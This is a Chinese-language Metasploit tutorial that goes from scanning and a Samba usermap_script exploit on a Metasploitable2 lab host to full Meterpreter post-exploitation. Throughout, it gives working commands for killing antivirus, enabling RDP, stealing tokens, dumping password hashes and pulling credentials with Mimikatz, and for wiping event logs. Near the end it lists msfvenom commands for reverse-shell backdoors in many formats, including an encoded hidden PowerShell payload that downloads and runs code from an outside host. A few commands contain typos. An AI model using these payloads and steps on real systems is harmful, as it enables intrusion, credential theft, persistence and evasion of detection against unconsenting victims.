Metasploit簡介
1. Auxiliaries(輔助模組)
該模組不會直接在測試者和目標主機之間建立訪問,它們只負責執行掃描、嗅探、指紋識別等相關功能以輔助滲透測試。
2. Exploit(漏洞利用模組)
漏洞利用是指由滲透測試者利用一個系統、應用或者服務中的安全漏洞進行的攻擊行為。流行的滲透攻擊技術包括緩衝區溢位、Web應用程式攻擊,以及利用配置錯誤等,其中包含攻擊者或測試人員針對系統中的漏洞而設計的各種POC驗證程式,用於破壞系統安全性的攻擊程式碼,每個漏洞都有相應的攻擊程式碼
3. Payload(攻擊載荷模組)
攻擊載荷是我們期望目標系統在被滲透攻擊之後完成實際攻擊功能的程式碼,成功滲透目標後,用於在目標系統上執行任意命令或者執行特定程式碼,在 Metasploit框架中可以自由地選擇、傳送和植入。攻擊載荷也可能是簡單地在目標作業系統上執行些命令,如新增使用者賬號等
4.Post(後期滲透模組)
該模組主要用於在取得目標系統遠端控制權後,進行一系列的後滲透攻擊動作,如獲取敏感資訊、實施跳板攻擊等。
5. Encoders(編碼工具模組)
該模組在滲透測試中負責免殺,以防止被防毒軟體、防火牆、IDS及類似的安全軟體檢測出來。
6. 滲透攻擊步驟
使用MSF滲透測試時,可以綜合使用以上模組,對目標系統進行偵察並發動攻擊,大致的步驟如下所示。
- 掃描目標機系統,尋找可用漏洞。
- 選擇並配置一個漏洞利用模組。
- 選擇並配置一個攻擊載荷模組。
- 選擇一個編碼技術,用來繞過防毒軟體的查殺
- 滲透攻擊。
主機掃描
使用輔助模組進行埠掃描
輔助模組是 Metasploite的內建模組,首先利用 search命令搜尋有哪些可用埠模組
portscan
下面以 TCP描模組舉例。輸入use命令即可使用該漏洞利用模組,使用 show options命令檢視需要設定的引數
在 Required列中,被標記為yes的引數必須包含實際的值,
其中 RHOSTS設定待掃描的IP地址、
PORTS設定掃描埠範圍、
THREADS設定掃描執行緒,執行緒數量越高,掃描的速度越多。
我們使用set命令設定相應的引數,也可以使用 unset命令取消某個引數值的設定。
使用輔助模組進行服務掃描
在掃描目標機器上執行的服務時,有多種基於服務的掃描技術可供選擇,例如VNC、FTP、SMB等,只需執行特定型別的掃描就可以發現服務。
使用Nmap掃描
在 Metasploit中同樣可以使用Nmap掃描
實際使用時,在msf命令提示符下輸入nmap,就可以顯示Nmap提供的掃描選項列表
現在我們要獲取目標主機的作業系統,輸入nmap -O -Pn/-p0 URl命令,其中Pn和-p0(數字0)引數的意思是不使用ping的方式,而且假定所有主機系統都是活動的,可以穿透防火牆,也可以避免被防火牆發現
漏洞利用Metasploitable2
首先對 Linux目標機進行掃描,收集可用的服務資訊。使用Nmap掃描並檢視系統開放埠和相關的應用程式
收集到目標機相關資訊後,為其選擇正確的 Exploit和合適的 Payload。從掃描結東中發現主機執行著 Samba3x服務。Samba是在inux和UNX系統上實現SMB( Server Messages Block,資訊服務塊)協議的一款兔費軟體。SMB是一種在區域網上共享檔案和印表機的通訊協議,它在區域網內使用 Linux和 Windows系統的機器之間提供檔案及印表機等資源的共享服務。
輸入msf> search samba命令搜尋 Samba的漏洞利用模組,並選擇合適的漏洞利用模組
然後 Samba服務將返回漏洞利用模組的列表,按照各個漏洞被利用成功的相對難易度進行排序
因為 exploit/ multi/ samba/ usermap_script被標記為" Excellent”,即最傑出而且時間是最新的,為提高滲透成功率,這裡選擇此模組進行接下來的滲透有關漏洞的詳細資訊可以通過info命令檢視
輸入以下命令即可使用該漏洞利用模組use 13
使用show payloads命令即可檢視該漏洞利用模組下可供選擇的攻擊載荷模組,因為目標是 Linux機器,因此一定要選擇 Linux的攻擊載荷。
這裡使用set PAYLOAD cmd/unix/reverse命令選擇基礎的cmd/unix/reverse反向攻擊載荷模組
設定被攻擊主機IP地址,命令如下所示
msf exploit (usermap script)> set RHOST 192.168.200.25
設定漏洞利用的埠號,命令如下所示。
msf exploit(usermap script)> set RHOST 445
設定發動攻擊主機IP地址,命令如下所示
msf exploit (usermap script)> set LHOST 192.168.200.6
攻擊成功後,可以看到在攻擊機和目標機之間會建立一個Shel連線,滲透Windows系統的過程類似,唯一的差別是選擇的漏洞利用模組和攻擊載荷模組不ー樣。
後滲透攻擊:資訊收集
成功地對目標機器攻擊滲透後還可以做什麼? Metasploit提供了ー個非常強大的後滲透工具- Meterpreter.該工具具有多重功能,使後續的滲透入侵變得更容易。獲取目標機的 Meterpreter Shell後,就進入了 Metasploit最精彩的後期滲透利用階段,後期滲透模組有200多個, Meterpreterf有以下優勢。
- 純記憶體工作模式,不需要對磁碟進行任何寫入操作
- 使用加密通訊協議,而且可以同時與幾個通道通訊。
- 在被攻擊程式內工作,不需要建立新的程式
- 易於在多程式之間遷移
- 平臺通用,適用於 Windows、 Linux、BSD系統,並支援 Intel X86和 Intelx64平臺。
程式遷移
在剛獲得 Meterpreter Shell時,該Shel是極其脆弱和易受攻擊的,例如攻擊者可以利用瀏覽器漏洞攻陷目標機器,但攻擊滲透後瀏覽器有可能被使用者關閉。所以第一步就是要移動這個 Shell把它和目標機中一個穩定的程式繫結在一起,而不需要對磁碟進行任何寫入操作。這樣做使得滲透更難被檢測到。
輸入ps命令獲取目標機正在執行的程式
輸入 getpid命令直看 Meterpreter Shell的程式號
可以看到 Meterpreter Shell程式的PID為1552,Name為shell.exe,然後輸入migrate 296命令把Shel移動到PID為296的 taskhost. exe程式裡,因為該程式是一個穩定的應用。
migrate 296
完成程式遷移後,再次輸入 getpid命令檢視 Meterpreter Shell的程式號,發現PID已經變成了296,說明已經成功遷移到 taskhost.exe程式裡
程式遷移完成後,原先PID為1552的程式會自動關閉,如果沒有自動關閉可以輸入kill 1522命令“殺掉”該程式。
使用自動遷移程式命令(run post/windows/manage/migrate)後,系統會自動尋找合適的程式然後遷移1
run post/windows/manage/migrate
系統命令
先收集系統資訊
sysinfo
檢查目標機是否執行在虛擬機器上
run post/windows/gather/checkvm
可以看到目標機執行在VMware虛擬機器上
現在檢查目標機是否正在執行,輸入命令後可以看到目標機最近的執行時間
idletime
接著檢視目標機完整的網路設定
route
輸入命令關閉目標機系統防毒軟體
run post/windows/manage/killav
啟動目標機的遠端桌面協議也就是3389埠
run post/windows/manage/enable_rdp
可以看到,我們已經成功啟動了遠端桌面
列舉當前有多少使用者登入了目標機
run post/windows/gather/enum_logged_on_users
可以看到系統有五個使用者
列舉安裝在目標機上的應用程式
run post/windows/gather/enum_applications
輸入shell命令進入目標機shell下面
檔案系統命令
- pwd或 getwd:檢視當前處於目標機的哪個目錄
- getlwd:檢視當前處於本地的哪個目錄
- search -f *.txt -d c:\ 可以搜尋C盤中所有以"txt"為副檔名的檔案,其中-f引數用於指定搜尋檔案模式,-d引數用於指定在哪個目錄下進行搜尋
- download C:\test.txt /root 下載目標機c盤test檔案到攻擊機root下
- upload /root/test.php c:\ 上傳root下testphp檔案到c盤
後滲透攻擊:許可權提升
在 Meterpreter Shell下輸入shel命令進入目標機的CMD命令列
接著輸入 whoami/ groups命令檢視我們當前的許可權
接著檢視系統的已打補丁,傳統的方法是在目標機的CMD命令列下輸入systeminfo命令,或者通過查詢C: windows裡留下的補丁號“log"檢視目標機大概打了哪些補丁
同樣可以看到目標機只打了2個補丁,要注意這些輸出的結果是不能被直接利用的,使用的方式是去找提權的EXP,然後將系統已經安裝的補丁編號與提權的EXP編 號進行對比。比如 Kitrapod(KB979682)、MS11-011(KB2393802),MS11-080(KB2592799),然後使用沒有編號的EXP進行提權。因為虛擬機器不怎麼打補丁,所以我們可以使用很多EXP來提權,這裡就用最新的MS16-032來嘗試提權,對應的編號是KB3139914。
附:部分系統對應的補丁號
getuid //檢視當前許可權
getsystem //獲取system許可權
令牌竊取
令牌( Token)就是系統的臨時金鑰,相當於賬戶名和密碼,用來決定是否允許這次請求和判斷這次請求是屬於哪一個使用者的。它允許你在不提供密碼或其他憑證的前提下,訪問網路和系統資源。這些令牌將持續存在於系統中,除非系統重新啟動
我們先輸入 use incognito命令,然後輸入 list_tokens -u 列出可用的 token
可以看到有兩種型別的令牌:一種是 Delegation Tokens,也就是授權令牌,它支援互動式登入(例如可以通過遠端桌面登入訪問);
還有一種是 Impersonation tokens,也就是模擬令牌,它是非互動的會話。令牌的數量其實取決於 MeterpreterShel的訪問級別
我們已經獲得了一個系統管理員的授權令牌,現在就要假冒這個令牌,成功後即可擁有它的許可權。
impersonate_token WIN-2008\\Administrator
HASH攻擊
使用Hashdump抓取密碼
Hashdump Meterpretera指令碼可以從目標機器中提取Hash值,破解Hash值即可獲得登入密碼。計算機中的每個賬號(如果是域伺服器,則為域內的每個賬號)的使用者名稱和密碼都儲存在sam檔案中,當計算機執行時,該檔案對所有賬號進行鎖定,要想訪問就必須有“系統級”賬號。所以要使用該命令就必須進行許可權的提升在 Meterpreter Shell提示符下輸入 hashdumpi命令,將匯出目標機sam資料庫中的Hash
hashdump
使用Mimikatz抓取密碼
Metasploiti已經將其作為個 Meterpreterk指令碼整合了,以便使用者使用,而不需要上傳該軟體到目標主機上Mimikatz必須在管理員許可權下使用,此時假設我們通過一系列前期滲透,已經成功獲得目標機的 Meterpreter Shell(過程略),當前許可權為 Administrator,輸getsystem命令獲取了系統許可權
獲取系統 SYSTEM許可權後,首先檢視目標機器的架構。雖然 Mimikatzl同時支援32位和64位的 Windowst架構,但如果伺服器是64位作業系統,直接使用 Mimikatz後, Meterpretera會預設載入個32位版本的 Mimikatz到記憶體,使得很多功能無效。而且在64位作業系統下必須先檢視系統程式列表,然後在載入 Mimikatz.之前將程式遷移到一個64位程式的程式中,才能檢視系統密碼明文,在32位作業系統下就沒有這個限制。這裡輸入 sysinfo命令檢視
64位系統,程式遷移一下
開啟mimikatz
load mimikatz
這裡顯示mimikatz被改名成kiwi
抓取所有資訊:系統票據和系統賬戶資訊等
creds_all
還有很多作用以後慢慢研究
後滲透攻擊:後門
引數說明:
- –p (- -payload-options) 新增載荷payload。
載荷這個東西比較多,這個軟體就是根據對應的載荷payload生成對應平臺下的後門,所以只有選對payload,再填寫正確自己的IP,PORT就可以生成對應語言,對應平臺的後門了!!!
- –e 編碼免殺。
- –f (- -help-formats)輸出檔案格式。
- –s 生成payload的最大長度,就是檔案大小。
- –b 避免使用的字元 例如:不使用 ‘\0f’。
- –i 編碼次數。
- –c 新增自己的shellcode。
- –x | -k 捆綁。例如:原先有個正常檔案normal.exe 可以通過這個選項把後門捆綁到這個程式上面。
PHP後門
在 Metasploit中,有個名為 PHP Meterpreter的 Payload,利用這個模組可建立具有 Meterpreter功能的 PHP Webshell.。在攻擊中使用 Metasploit PHP Shell的步驟如下所示
- 使用 msfvenom建立-個 webshell. php.
- 上傳 webshell.php到目標伺服器。
- 執行 Metasploit multi-handler開始監聽。
- 訪問 webshell.php頁面。
- 獲得反彈的 Metasploit Shell.
我們可以通過 Metasploitl的 msfvenom工具製作 PHP Meterpreter,命令如下
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > webshell.php
然後將 webshell.php上傳到目標伺服器,這裡因為是虛擬機器,所以就直接複製到Kali下的/var/www/html目錄,開啟 Webshell網址
(開啟apache服務 service apache2 start)
接著啟動 Msfconsole,使用以下命令設定監聽
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lHOST 192.168.200.6
run
反彈成功,最後使用msf命令滲透目標主機
Windows後門
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f exe > shell.exe //32位 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port>-f exe > shell.exe //64位
Linux後門
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f elf > shell.elf
Asp後門
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
Aspx後門
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
Bash後門
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh
Python後門
msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
exe 利用exec執行powershell後門
msfvenom -p windows/exec CMD="powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.0.104:8080/4WFjDXrGo7Mj');" -f exe -e x86/shikata_ga_nai -i 6 -o msf.exe
清理日誌
clearev